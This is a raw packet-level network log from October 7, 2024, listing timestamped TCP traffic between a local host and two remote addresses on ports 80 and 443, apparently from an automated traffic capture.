Oct 7, 2024 18:00:45.637342930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637357950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637372971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637387991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637403011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637419939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637430906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637434959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637451887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637466908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637484074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637492895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637499094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637514114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637518883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637530088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637531996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637546062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637562990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637567997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637578964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637595892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.637603998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637626886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.637651920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638264894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638282061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638295889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638310909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638325930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638336897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638345003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638360977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638375998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638381004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638392925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638403893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638410091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638422966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638426065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638442039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638453960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638457060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638473034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638485909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638488054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638504028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638505936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638518095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638533115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638536930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638547897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638566017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.638567924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638588905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.638605118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639549971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639565945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639580011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639588118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639601946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639621019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639626026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639642000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639648914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639658928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639658928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639676094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639688015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639693975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639700890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639708996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639719963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639724970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639734030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639743090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639754057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639759064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639767885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639775991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639786005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639791965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639801025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639807940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639820099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639825106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639833927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639841080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639849901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639857054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639864922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639873028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639883041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639889002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639897108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639904976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639914036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639920950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.639930964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639945984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.639961958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640513897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640528917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640543938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640552044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640566111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640580893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640592098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640608072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640608072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640624046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640630960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640640974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640655994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640659094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640667915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640671015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640685081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640687943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640698910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640702963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640717030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640719891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640727997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640737057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640747070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640752077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640764952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640769005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640783072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640786886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640793085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640804052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640813112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640820026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640827894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640837908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640844107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640857935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640863895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640878916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640896082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.640903950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640928984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.640949965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641330957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641346931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641362906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641374111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641380072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641385078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641398907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641410112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641416073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641429901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641432047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641448021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641458988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641458988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641463995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.641469955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641493082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.641504049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.651740074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651756048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651772022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651828051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.651874065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.651884079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651921034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651936054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651951075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.651963949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.651988029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.661952019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.661967993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.661982059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.662003994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.662018061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.662034035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.662031889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.662050009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.662060976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.662071943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.662095070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.662116051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.665446997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.666882038 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.667831898 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.667934895 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.667999029 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.668071032 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.668085098 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.668096066 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.668102026 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.670847893 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.670874119 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.670948982 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.671119928 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.671133995 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.720127106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720163107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720177889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720196009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720266104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720308065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720333099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720347881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720364094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720381021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720390081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720396996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720412970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720417976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720429897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720437050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720463037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720474005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720607042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720623016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.720649004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.720664978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.788149118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.822875023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:46.058202028 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.061826944 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.061845064 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.062302113 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.062308073 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.116101980 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.117204905 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.117222071 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.117688894 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.117696047 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.144269943 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.144782066 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.144798994 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.145251989 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.145257950 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.155478001 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.155913115 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.155942917 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.156358957 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.156364918 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.157138109 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.157196999 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.157288074 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.157402039 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.157402039 CEST	49872	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.157414913 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.157422066 CEST	443	49872	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.160136938 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.160188913 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.160351038 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.160465956 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.160480022 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.212697983 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.213448048 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.213493109 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.213557959 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.213713884 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.213713884 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.213905096 CEST	49873	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.213924885 CEST	443	49873	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.216604948 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.216645956 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.216723919 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.216869116 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.216880083 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.271332026 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.271420956 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.271641016 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.271641016 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.271915913 CEST	49874	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.271934032 CEST	443	49874	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.274319887 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.274363995 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.274445057 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.274595022 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.274611950 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.279356003 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.279426098 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.279489994 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.279653072 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.279664993 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.279674053 CEST	49875	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.279679060 CEST	443	49875	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.281747103 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.281785965 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.281847954 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.282011986 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.282023907 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.310318947 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.336952925 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.336977959 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.337601900 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.337605953 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.432487011 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.432642937 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.432794094 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.432821035 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.432831049 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.432842970 CEST	49876	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.432847977 CEST	443	49876	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.435528040 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.435564995 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.435789108 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.435789108 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.435820103 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.634886980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:46.635097027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:46.735332966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:46.740485907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:46.798813105 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.799289942 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.799305916 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.799746037 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.799750090 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.860465050 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.860991955 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.861012936 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.861464024 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.861469984 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.896291971 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.896363974 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.896430969 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.896640062 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.896662951 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.896682978 CEST	49877	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.896688938 CEST	443	49877	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.899611950 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.899657965 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.899724007 CEST	49882	443	192.168.2.5	13.107.246.64
